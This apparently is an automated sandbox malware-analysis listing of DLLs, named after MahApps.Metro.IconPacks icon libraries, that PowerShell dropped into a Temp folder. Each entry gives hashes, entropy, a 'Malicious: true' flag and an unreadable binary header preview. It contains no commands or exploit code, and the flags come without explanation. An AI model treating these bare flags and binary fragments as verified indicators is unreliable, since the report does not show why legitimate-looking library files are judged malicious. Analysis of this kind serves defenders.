C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	5.390109018284199
Encrypted:	false
SSDEEP:	384:feCnIM4AZxFYzXKZHqwAodV5rroIYJFzcQ8tFq3qs6jUasojg4APsTTlj5a6wIYU:feu4RIDfov4bFyUjUnWsKGVD6
MD5:	B705C478C096EF8EA4FC0738D52D1C84
SHA1:	44EC80A1259DF99AC06CC342B03CA0FB9DB22FAF
SHA-256:	B6156814D7014A38587991B19EEC9228439BC0B2558CFA9BEDB4E72AC611FCCB
SHA-512:	F212CDE6C87920B3EE6E588C473987646C3F6DDCA4B2122DD876FF61815DC7DCCBBCB469024FD50CB0F3E1829643859E3EEC4C8A91442056624C6F5922344B35
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.}..........." ..0..D...........b... ........... ..............................N.....`..................................a..O.......T...........................4a..8............................................ ............... ..H............text...4B... ...D.................. ..`.rsrc...T............F..............@..@.reloc...............L..............@..B.................b......H......../..01...................`........................................(....r.(......}......}......}......{......{......{......(........0..........r...p.5...(.........(....r...ps....(.........~....o.........r...p.....(.........(..........s....(.........r...p.8...(.........(....#.........8....~(.........s ...s!...(.........r3..p.;...(.........(......;..........s"..........s ...s!...(.........r=..p.8...(.........(....#.......?.8..........s"..........s ...s!...(........

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	501760
Entropy (8bit):	3.476337116905034
Encrypted:	false
SSDEEP:	6144:5bworP4b71rPwhET9FDsBGZfiqJMUlOv5CuwVpKex7byEZAzftaDi/KAFwrSmfLM:9wKRLLKACX2m
MD5:	60AAA132D1992D132F7FBAEF8CD0CCB3
SHA1:	6F7D9226D195EFED993CAE4A2EA447E125CE1D23
SHA-256:	1017345EEAE7E6DF2B894C36EBAD15F469474CA612749C9E1865126175C74364
SHA-512:	1E82F82144674CF5591A1EAD06F8D37B5DAD11F16114C70664CD2891F6B32EF23AE543E34320105407E57D48543FAA2286A8D8FF21DFA7076BE3C18808D3A3EA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ..............................M.....`.................................t...O.......................................8............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........:..,p..........................................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=.......s*...%.r...po+...%.r...po+...%.r...po+...%.ra .po+...%.r.$.po+...%.r.'.po+...%.r.,.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	426496
Entropy (8bit):	3.4783544890120357
Encrypted:	false
SSDEEP:	3072:esRQOZCZi9zOr8G2OIC5kXgRXgFmrUjwD:/RQwLbmW+
MD5:	721F37645C32653200B06969419344B2
SHA1:	BA5A3868632E98ADEF61C7A2999E726881ECA4A7
SHA-256:	14D31CDF80FAB1DF0F874E4F8D8090B5393B6FFAC6CD86DFB5C71DD8F62F4E93
SHA-512:	F3D8375D2DF69FCE7E4DBFF68295281A94CDCE9DE86EF52AA951C7D2FF8CAD48777A76192D6A20F0B804B307D48914F66FCFF7BC25DA2AB946DE456079DB59DB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b!............" ..0..x.............. ........... ..............................@.....`.....................................O.......................................8............................................ ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B.......................H........?...D.............X...0.......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..-.......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r1..po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	4.3840952736770875
Encrypted:	false
SSDEEP:	3072:7QVRLunLLLaDLQv4xLi/CLU9d+AHXkusnqyKM/6dNzj23T2rB6ibsKwGv6mBhZQ:AikuVdNzj23Vmbe
MD5:	0CB966A395147C28DD9ABF5482AE64FC
SHA1:	81A657E20670A8CB120270047CAE1F552BA40100
SHA-256:	FA81D23B3EBF44D72897D673DFD750AE764DE32D8D05888E77D80018E041156B
SHA-512:	E58F13389F8E229AD44625320948F8FE1CBF469980C8774C1F8ECD4228EDD8039AF3E361CCEC91AE011460801169EB85E8AA1EEBE2BE2282CB8B6D7944C36F2F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#/..........." ..0................. ........... ....................................`.................................x...O.......0...............................8............................................ ............... ..H............text....... ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................H........3..Tx..........(...............................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..m.......s*...%.r...po+...%.r...po+...%.rQ..po+...%.r6..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2648064
Entropy (8bit):	3.106418018929637
Encrypted:	false
SSDEEP:	12288:Z88jUgEwEUkTS0B2gO32lSYGVHfkbuBzNl6iK4LbBzuqbBuQ0bCLf7PQGI0iFzmk:jhxyU
MD5:	7505DE114074730C17BFDCA7E7C5657D
SHA1:	72285CE3D75C803A4F2CB7244DBC5F6EA6B6E7C2
SHA-256:	6B876CC6E22E1BB6A9A7BC862C043AA49926760714A6D92122E436B561A659CB
SHA-512:	10CF63AA781D948B07D4BFB02FC66C5B72328D9FB9F8E6D4B5816C54851777F8E276B196693B17A14998F21387CDD030FD2BDA067C0547FCA366E651397CD65A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I............." ..0..^(.........f\|(.. ....(...... ........................(......(...`..................................\|(.O.....(.......................(.....({(.8............................................ ............... ..H............text...l\(.. ...^(................. ..`.rsrc.........(......`(.............@..@.reloc........(......f(.............@..B................F\|(.....H........X..4.(.........Hj(.`....z(.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M5......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r9..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2391040
Entropy (8bit):	3.4614238791705665
Encrypted:	false
SSDEEP:	24576:fojPJMpMIU11zYHfa//KM6sA/lUPKHMhY+4Pv6P/Mzk6A/MBn/MBY6k94PEeB7Bc:fojPJMu
MD5:	5214C8C29B814C62A89424429933D78E
SHA1:	AE62844A871389CFA1F36152621D896286F67872
SHA-256:	DBF78865859B0776DF2458AA7F490D66E1B54104873063E99F4B9A4D9D59ACCC
SHA-512:	BBB9A7ECBB95170A409B31A73ECB875938BF8BA29D5B470764208B9D6A41F447D23958F907D1A871218567186E78F4175EBD2A08112E26C1C8C99AF29C8DC535
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0..r$..........$.. ....$...... ........................$.......$...`...................................$.O.....$.$.....................$.......$.8............................................ ............... ..H............text....q$.. ...r$................. ..`.rsrc...$.....$......t$.............@..@.reloc........$......z$.............@..B..................$.....H............#...........$.P.....$.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=c......s...%.r...po+...%.r...po+...%.r..po+...%.r...po+...%.r...po+...%.r...po+...%.r.#.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	407552
Entropy (8bit):	3.2550447640993845
Encrypted:	false
SSDEEP:	3072:4KbKfVf+WDio/2G8K0b1+oxzsf+RSyXQfKZsyQQv0VndywQImZXZsU2ynIySoAYk:72ioilfc5dywHmZJt2SSCOROSJPmlu
MD5:	086160AA7449EA0D3C89393289D6CF3C
SHA1:	F0FD895CED7E9C2C96943754BEBD66FEFE6F9595
SHA-256:	8D6DA96F5612060F6EBDD76874C5DC52528665664F148D290697BF12CF884C3D
SHA-512:	85A4472F1B7B49A2512A5AC046FC7C6F501F4DED12671B94F02DBE424146852160C4AA19254AEE6FC435E2ECB3547378FF2D484D00F9F882E79399A1470D303A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%U............" ..0..............M... ...`....... ....................................`.................................:M..O....`..............................PL..8............................................ ............... ..H............text....-... ...................... ..`.rsrc........`.......0..............@..@.reloc...............6..............@..B................nM......H........+..l...........p;..`....K......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=.......s*...%.r...po+...%.r...po+...%.rJ..po+...%.r...po+...%.r...po+...%.r...po+...%.r\|..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2804736
Entropy (8bit):	3.0732089969952088
Encrypted:	false
SSDEEP:	12288:0KlPHWdRGyp9TZhvbfN8Meppp/z5RTl215hG9g7wJDZNsJ6TmGpkNOFEIH7/deH5:0Klz77FG
MD5:	3E3F7E5DEC93557B5C00E750B008DC23
SHA1:	BF0FA3E913E15C2090CAA238361094029D3E1DE2
SHA-256:	98FDFD6E8FABD67E9AF84453F4942333002D809F45184B04DB04060D61DC40BA
SHA-512:	331F867A0FDC51BFD8506C4D70F6CB867C90B122632E4392A59B0321FB8F51B4D840540F7029F30BEF87BC72E92B51031FF9C522670082EBE97001BB6091FF5D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M[............" ..0............6... ....+...... .......................@+.....U....`....................................O.....+...................... +........8............................................ ............... ..H............text...<... ..................... ..`.rsrc.........+....................@..@.reloc....... +....................@..B.......................H........G..P..........$..X...\|......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...%......s...%.r...po+...%.r...po+...%.r.'.po+...%.r.8.po+...%.rB@.po+...%.rWA.po+...%.r.B.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1097728
Entropy (8bit):	3.4155171816279806
Encrypted:	false
SSDEEP:	12288:z6+zsd+TlD2jsdXbjc7DeCmLp5M2YQeB1gOR95CYF323Jd3vrW27M:F
MD5:	AFD3000EBB93066ADF25E1CBB1A8CEA2
SHA1:	F60CAE59CEB4A91293FD5F0B976B3B518344465B
SHA-256:	4C245AAD2D0B737BD71BBED74F13E680761F555F34D68A71A952B36E1B6C07FD
SHA-512:	87C985C2B6F692AF978829BB5004550531F5F2BBE0B33E670B4923B6B1CE87B67CBC0F8497285C740E81FE3975219F7F748DA3AAB478867868441DBF43F9CE2F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....pA..........." ..0.............r.... ........... ....................... ............`.....................................O.......$...........................0...8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................R.......H........R..Do..........8...x...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..-0......s*...%.r...po+...%.r...po+...%.r...po+...%.rG..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	828928
Entropy (8bit):	3.5174500426892106
Encrypted:	false
SSDEEP:	24576:9tfrefrQCo6/8WDJrOk/AsLwlYD2W2GHBcFBcqML/hmYNIMWQX5Bm6tX6/6OS3Is:cskB
MD5:	E23FBF850082183ECF21B30C53458672
SHA1:	E4F73014934DC16000743F8E1B27DB767EDE6691
SHA-256:	02C5D5A1AEEBA3BC047CF412F865C082312FC4DF3736B2107113BD3AA9E77B50
SHA-512:	605403D551B089239F9B3C5BEFE6214C53A28F00442C0B0BA3F863A112BF7C4C1A22A143B068496237B37FC260C4C73751524CD48401FC1EE17F41F6F61C2075
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{y............" ..0.............6.... ........... ....................................`....................................O.......................................8............................................ ............... ..H............text...<.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........L...[..........L...0...\|.......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0.........s...%.r...po+...%.r...po+...%.r...po+...%.r)..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1236992
Entropy (8bit):	3.2795134963443715
Encrypted:	false
SSDEEP:	6144:j5edQUzaozHKw6jBWW6jBWat7l4n0d9erx/uNZUS8i8O1iixKT22:j5etWH
MD5:	9689899D8ED3A330B381AEC82459C867
SHA1:	45C8C0AAEFD706BBE30F5640A085AD2D33A88C30
SHA-256:	665D0A1A6CDC05F166761142CB96F2C3D4EED384B99349E8DEE197DB4C451BAB
SHA-512:	735E007171221083656D3CCCC904890A69494D6E4F8D3830BFE07C4324C2C64A6D75D9ABC74B3FDCAC0F34541E5E00B761B9E42D4B3962B1EC9B71D6BD8EE09E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... .......................@......O[....`.....................................O.......l.................... ..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...l...........................@..@.reloc....... ......................@..B........................H........\..................X...L.......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M9......s...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rW3.po+...%.r67.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4925952
Entropy (8bit):	3.6892371390096232
Encrypted:	false
SSDEEP:	6144:jQfN8PRtFlJntIkeUXpWeqQ0c4nr+O12Agvtt1tG5P0M3eFBXUuZLf0W/vouIs3w:1LheqpwQZOqvM1TKPr
MD5:	397CB6132F9632189D6F2B3BC9BB2B04
SHA1:	F7113885294E61F21E6021F6F3A50BB0EB60B0A6
SHA-256:	A34174C9E4BBEB8B8592221E4E0FBF273E008C475875B5A4AF45F5266ED58373
SHA-512:	0E5BCF302A6DBB76CFB7E00476D41367851DF9B42E2F9B0C821FD6DB018FDA30A2B405026D52A7677AF65D35DDC4405260C1BD9EB47C22154B23F77BE56DD336
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.A..........." ..0.. K..........?K.. ...@K...... ........................K.......K...`.................................L?K.O....@K......................`K.....d>K.8............................................ ............... ..H............text.....K.. ... K................. ..`.rsrc........@K......"K.............@..@.reloc.......`K......(K.............@..B.................?K.....H...........\|I..........-K.0....=K.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..?.......s*......r...po+.....r...po+.....r8..po+.....r-..po+.....r...po+.....r...po+.....r...

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	480768
Entropy (8bit):	3.887681947109411
Encrypted:	false
SSDEEP:	6144:/ftpoKWwlO8OrOvd2zOPu8kNOkoh3zuq0CQ5JvS2c32zUeAs1cBqP0PfMmfcZmJi:9+KvGOA3p
MD5:	AA29752C44782D78A8C43BDE0D18E06A
SHA1:	D32CDA7D43775BE1A95FD3BAE82C35FC307DB6E3
SHA-256:	9FB5BB886AF9D50E0570702BE1537B704E24FA1B58987C88113735F1764A1C99
SHA-512:	5F39055842986FA980C12ED62BE98D9D176A57A82E079F0CE19B3F569B4B3DC2EFE2FF0A817BE17FE357EB701544BB48A3A4F6D9BB83FEC3318D372CD2A5B06D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..L...........j... ........... ...................................`.................................pj..O.......<...........................\|i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc...<............N..............@..@.reloc...............T..............@..B.................j......H........[..............dX.......h......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...8......s*...%.r...po+...%.r...po+...%.r...po+...%.r-..po+...%.rJ..po+...%.rQ..po+...%.rl..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	275968
Entropy (8bit):	3.553433529986651
Encrypted:	false
SSDEEP:	3072:2IpwewTXjU9BxG/v7YEsr6LqvIE8/H+rhDuIs0ETHaGhRgz+FYx7ZLnEk7OBCg6C:fp4TZY9ZR5l5FQ2bWmbu
MD5:	C32E8B2E101A5FC3BE2DE01CE158A69C
SHA1:	2D6E35D39D3597A3BF5CF785028772EE43D66321
SHA-256:	334193B0810FF22479FA4A8264118A6FA716E40102851D221F0901FAF7525402
SHA-512:	6136C85C416F58AF14B6E68F2F65979EC83CB5393CA2CEF355A2402B5A59C3C1FCDA32D182EE872C8EA862AB14BA2B7623B81E46B290AF8BC0821AE718138A60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..,..........~J... ...`....... ..............................-j....`.................................J..O....`..0...........................8I..8............................................ ............... ..H............text....... ...,.................. ..`.rsrc...0....`......................@..@.reloc...............4..............@..B................^J......H.......,1..,...........X8..`....H......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rk..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	71168
Entropy (8bit):	4.245922909736055
Encrypted:	false
SSDEEP:	1536:FMR0MjzmzIXXmWidBAHLcDci9mWONesiFkf2:FMR2zIXXmtdBAHLcHmWONuFkf2
MD5:	FE0D56E66BA7803BCD52853FDD9CF620
SHA1:	30FFE1425360F615199C873F00E38C258B2F0000
SHA-256:	6285380D0756B1E103CDC2A25CC0D39DE6384A999C6AC83CD7A43CC5DA9C3900
SHA-512:	18FA1C710F630354441170C365975D0E4638667DA47CD451C45CCAA3207F20209FCBA8813B84C17EB19E28F1DAC1414F117AD2D9B77959652F2ECE0221EA0656
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....>..........." ..0................. ...@....... ....................................`.................................:..O....@.......................`......T)..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................n......H........(.................. ....(......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s...%.r...po+...%.r...po+...%.rF..po+...%.rs..po+...%.r...po+...%.r...po+...%.r>..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2378752
Entropy (8bit):	3.263884933481472
Encrypted:	false
SSDEEP:	12288:jAXHRikLA+r2Yw8PBnzPxgBOVYrv0OW3o3PTjrhpihw7A5Nsids/ohdVOXvAeeQF:jcHRa
MD5:	7C4E1C1B2AE9DAFC03C7C89B18E62D7B
SHA1:	86FC320D62C97DFEB03CCB014E77FC6B4AA18D91
SHA-256:	15F516085024F0E20870AA3634B032CD3AC28C5176923C9042B118CC5B940565
SHA-512:	64CFDDA09A39F46790D1793D7A92E49F0CEAE0D86EE72307D519F2F4DCF10FC070DF217B1286B2528C20E5888E2EDB58D7CC55619C8D88012AEAFEFF0A32E683
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...HZ............" ..0..B$.........Ra$.. ....$...... ........................$.......$...`..................................a$.O.....$.......................$......`$.8............................................ ............... ..H............text...XA$.. ...B$................. ..`.rsrc.........$......D$.............@..@.reloc........$......J$.............@..B................4a$.....H........o....#..........O$......_$.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..MM......s*...%.r...po+...%.r...po+...%.r...po+...%.ra..po+...%.r...po+...%.rq..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	141312
Entropy (8bit):	4.077754815503617
Encrypted:	false
SSDEEP:	3072:rTFYvb7dz+/28PzB1PJsqGz2d4DjK7B7O1eqnAN2Qke6t4TNsKxdxLGvAPMdYa6t:navndz+/28PzBxJsqGz2d4DjK7B7O1ed
MD5:	0FF89297574034079C50C578DBE44402
SHA1:	B4D19084F569A858146F720EA2F09AF373D228FB
SHA-256:	0427C32C833F24E9B1E5F9BD04AEC538BAD9C2FD41BD1DA027390149040F41D0
SHA-512:	99DCA20EA913C13733127989914B18DF088C3272A8D4ECC311EC241B5E6E17827DCE6A80DBD92BD990ED9EFE1AA3501DB3B6CF344CC6E068C879DB4F8944971F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U............." ..0.............R<... ...@....... ...............................3....`..................................<..O....@.......................`.......;..8............................................ ............... ..H............text...X.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B................4<......H........-..............h..0....:......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M.......s...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rG..po+...%.rw..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	757760
Entropy (8bit):	3.4394584442483143
Encrypted:	false
SSDEEP:	12288:wyV9okmKGPAvGbGXAttGXAtt0Km1koFklaDo1M6J+JbJQrQfZGQRDiWaV8L4icFK:wy
MD5:	7254B277A3C82102BE67C8750BDFD9D7
SHA1:	AF7F833B4278B3141CB9668D76D180A309EFBF30
SHA-256:	915BA8F7C8F0BBF9AF22D1BC066D62AAED424776B1EBA36E05C2E619EDE390BD
SHA-512:	8E42650BE284682D4AB37794186489D7770CB19F7217D10BA2BF6A1F9B72D68A25A397A0186F74FDA7C62F7842359BEDD3FDD33C0FD9EB010DA799EBC012CDAA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....xb..........." ..0................. ........... ..............................SU....`.................................p...O.......$...............................8............................................ ............... ..H............text....... ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B........................H.......lC..XP.............@...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0... ......s*...%.r...po+...%.r...po+...%.r...po+...%.r'..po+...%.r4..po+...%.r...po+...%.r"..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	138752
Entropy (8bit):	4.368233012421734
Encrypted:	false
SSDEEP:	1536:MYFuVW7Yoq20bnSvvlzBjOJhueSKki6ZoDci0mLLVQSR8tF4HO:MYFug9wSnBQueSKki6ZoumfcF4HO
MD5:	65E9ECAF0C66785A4B0B2147683D258B
SHA1:	B718931AF23A815ACB1AB3FF72CCCD5DE7E40B21
SHA-256:	188F508445A69DDFCCE1DE0FCB1280BAC9B2DCF49F9AE62ED31BEE58947F0CAB
SHA-512:	FE2866A6D25843CE60CB0898EFB721485B7B0228C4525F7CCA21F5D76BC08A76F5CEB0787535349E0A1FAE8C5CD8374EF75066225B0122A446099DBF815B418C
Malicious:	true
